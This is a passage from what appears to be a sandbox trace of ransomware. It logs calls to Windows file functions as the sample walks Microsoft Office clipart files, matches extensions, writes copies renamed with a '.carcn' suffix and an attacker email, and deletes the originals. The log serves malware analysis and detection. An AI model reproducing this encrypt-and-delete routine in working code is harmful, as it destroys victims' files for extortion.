Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 1 [0299.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0299.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0299.634] lstrlenW (lpString=".doc") returned 4 [0299.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.634] lstrlenW (lpString=".docx") returned 5 [0299.634] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.634] lstrlenW (lpString=".pdf") returned 4 [0299.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.634] lstrlenW (lpString=".xls") returned 4 [0299.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.634] lstrlenW (lpString=".xlsx") returned 5 [0299.634] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.634] lstrlenW (lpString=".ppt") returned 4 [0299.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0299.634] lstrlenW (lpString=".zip") returned 4 [0299.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.634] lstrlenW (lpString=".rar") returned 4 [0299.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.634] lstrlenW (lpString=".bz2") returned 4 [0299.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.634] lstrlenW (lpString=".7z") returned 3 [0299.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0299.634] lstrlenW (lpString=".dbf") returned 4 [0299.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0299.634] lstrlenW (lpString=".1cd") returned 4 [0299.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0299.634] lstrlenW (lpString=".jpg") returned 4 [0299.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0299.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0299.635] lstrlenW (lpString=".doc") returned 4 [0299.635] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.635] lstrlenW (lpString=".docx") returned 5 [0299.635] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.635] lstrlenW (lpString=".pdf") returned 4 [0299.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.635] lstrlenW (lpString=".xls") returned 4 [0299.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.635] lstrlenW (lpString=".xlsx") returned 5 [0299.635] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.635] lstrlenW (lpString=".ppt") returned 4 [0299.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0299.635] lstrlenW (lpString=".zip") returned 4 [0299.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.635] lstrlenW (lpString=".rar") returned 4 [0299.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.635] lstrlenW (lpString=".bz2") returned 4 [0299.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.635] lstrlenW (lpString=".7z") returned 3 [0299.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0299.635] lstrlenW (lpString=".dbf") returned 4 [0299.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0299.635] lstrlenW (lpString=".1cd") returned 4 [0299.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0299.636] lstrlenW (lpString=".jpg") returned 4 [0299.636] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.636] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.636] lstrlenW (lpString="DD00372_.WMF") returned 12 [0299.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0299.636] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=792) returned 1 [0299.636] CloseHandle (hObject=0x388) returned 1 [0299.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 0x220 [0299.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0299.637] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.637] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0299.637] GetLastError () returned 0x0 [0299.637] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x318, lpOverlapped=0x0) returned 1 [0299.638] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x320, lpOverlapped=0x0) returned 1 [0299.639] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.640] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0299.640] SetEndOfFile (hFile=0x368) returned 1 [0299.640] CloseHandle (hObject=0x368) returned 1 [0299.640] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.640] SetEndOfFile (hFile=0x388) returned 1 [0299.641] CloseHandle (hObject=0x388) returned 1 [0299.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00372_.wmf")) returned 1 [0299.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0299.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0299.642] lstrlenW (lpString=".doc") returned 4 [0299.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.642] lstrlenW (lpString=".docx") returned 5 [0299.642] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.642] lstrlenW (lpString=".pdf") returned 4 [0299.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.642] lstrlenW (lpString=".xls") returned 4 [0299.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.642] lstrlenW (lpString=".xlsx") returned 5 [0299.642] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.642] lstrlenW (lpString=".ppt") returned 4 [0299.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0299.642] lstrlenW (lpString=".zip") returned 4 [0299.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.642] lstrlenW (lpString=".rar") returned 4 [0299.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.642] lstrlenW (lpString=".bz2") returned 4 [0299.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.642] lstrlenW (lpString=".7z") returned 3 [0299.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0299.643] lstrlenW (lpString=".dbf") returned 4 [0299.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0299.643] lstrlenW (lpString=".1cd") returned 4 [0299.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0299.643] lstrlenW (lpString=".jpg") returned 4 [0299.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0299.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0299.643] lstrlenW (lpString=".doc") returned 4 [0299.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.643] lstrlenW (lpString=".docx") returned 5 [0299.643] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.643] lstrlenW (lpString=".pdf") returned 4 [0299.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.643] lstrlenW (lpString=".xls") returned 4 [0299.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.643] lstrlenW (lpString=".xlsx") returned 5 [0299.643] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.643] lstrlenW (lpString=".ppt") returned 4 [0299.643] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0299.643] lstrlenW (lpString=".zip") returned 4 [0299.643] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.643] lstrlenW (lpString=".rar") returned 4 [0299.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.644] lstrlenW (lpString=".bz2") returned 4 [0299.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.644] lstrlenW (lpString=".7z") returned 3 [0299.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0299.644] lstrlenW (lpString=".dbf") returned 4 [0299.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0299.644] lstrlenW (lpString=".1cd") returned 4 [0299.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00372_.WMF") returned 68 [0299.644] lstrlenW (lpString=".jpg") returned 4 [0299.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.644] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.644] lstrlenW (lpString="DD00405_.WMF") returned 12 [0299.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0299.644] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=17584) returned 1 [0299.645] CloseHandle (hObject=0x388) returned 1 [0299.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 0x220 [0299.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0299.645] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.645] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0299.646] GetLastError () returned 0x0 [0299.646] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x44b0, lpOverlapped=0x0) returned 1 [0300.081] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x44c0, lpOverlapped=0x0) returned 1 [0300.098] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0300.098] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0300.098] SetEndOfFile (hFile=0x368) returned 1 [0300.106] CloseHandle (hObject=0x368) returned 1 [0300.106] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.106] SetEndOfFile (hFile=0x388) returned 1 [0300.118] CloseHandle (hObject=0x388) returned 1 [0300.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 1 [0300.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0300.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0300.122] lstrlenW (lpString=".doc") returned 4 [0300.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.122] lstrlenW (lpString=".docx") returned 5 [0300.122] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.122] lstrlenW (lpString=".pdf") returned 4 [0300.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.122] lstrlenW (lpString=".xls") returned 4 [0300.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.122] lstrlenW (lpString=".xlsx") returned 5 [0300.122] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.122] lstrlenW (lpString=".ppt") returned 4 [0300.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0300.122] lstrlenW (lpString=".zip") returned 4 [0300.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.123] lstrlenW (lpString=".rar") returned 4 [0300.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.123] lstrlenW (lpString=".bz2") returned 4 [0300.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.123] lstrlenW (lpString=".7z") returned 3 [0300.123] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0300.123] lstrlenW (lpString=".dbf") returned 4 [0300.123] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0300.123] lstrlenW (lpString=".1cd") returned 4 [0300.123] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0300.123] lstrlenW (lpString=".jpg") returned 4 [0300.123] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0300.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0300.123] lstrlenW (lpString=".doc") returned 4 [0300.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.123] lstrlenW (lpString=".docx") returned 5 [0300.123] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.123] lstrlenW (lpString=".pdf") returned 4 [0300.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.123] lstrlenW (lpString=".xls") returned 4 [0300.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.123] lstrlenW (lpString=".xlsx") returned 5 [0300.123] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.124] lstrlenW (lpString=".ppt") returned 4 [0300.124] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0300.124] lstrlenW (lpString=".zip") returned 4 [0300.124] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.124] lstrlenW (lpString=".rar") returned 4 [0300.124] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.124] lstrlenW (lpString=".bz2") returned 4 [0300.124] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.124] lstrlenW (lpString=".7z") returned 3 [0300.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0300.124] lstrlenW (lpString=".dbf") returned 4 [0300.124] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0300.124] lstrlenW (lpString=".1cd") returned 4 [0300.124] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0300.124] lstrlenW (lpString=".jpg") returned 4 [0300.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.124] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.124] lstrlenW (lpString="DD00449_.WMF") returned 12 [0300.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0300.125] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=9992) returned 1 [0300.125] CloseHandle (hObject=0x368) returned 1 [0300.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x220 [0300.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0300.125] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.126] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0300.127] GetLastError () returned 0x0 [0300.127] ReadFile (in: hFile=0x368, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x2708, lpOverlapped=0x0) returned 1 [0300.128] WriteFile (in: hFile=0x388, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x2710, lpOverlapped=0x0) returned 1 [0300.129] ReadFile (in: hFile=0x368, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0300.129] WriteFile (in: hFile=0x388, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0300.129] SetEndOfFile (hFile=0x388) returned 1 [0300.129] CloseHandle (hObject=0x388) returned 1 [0300.129] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.130] SetEndOfFile (hFile=0x368) returned 1 [0300.131] CloseHandle (hObject=0x368) returned 1 [0300.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00449_.wmf")) returned 1 [0300.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00449_.WMF") returned 68 [0300.133] lstrlenW (lpString="C:\\Program Files\\Microsoft 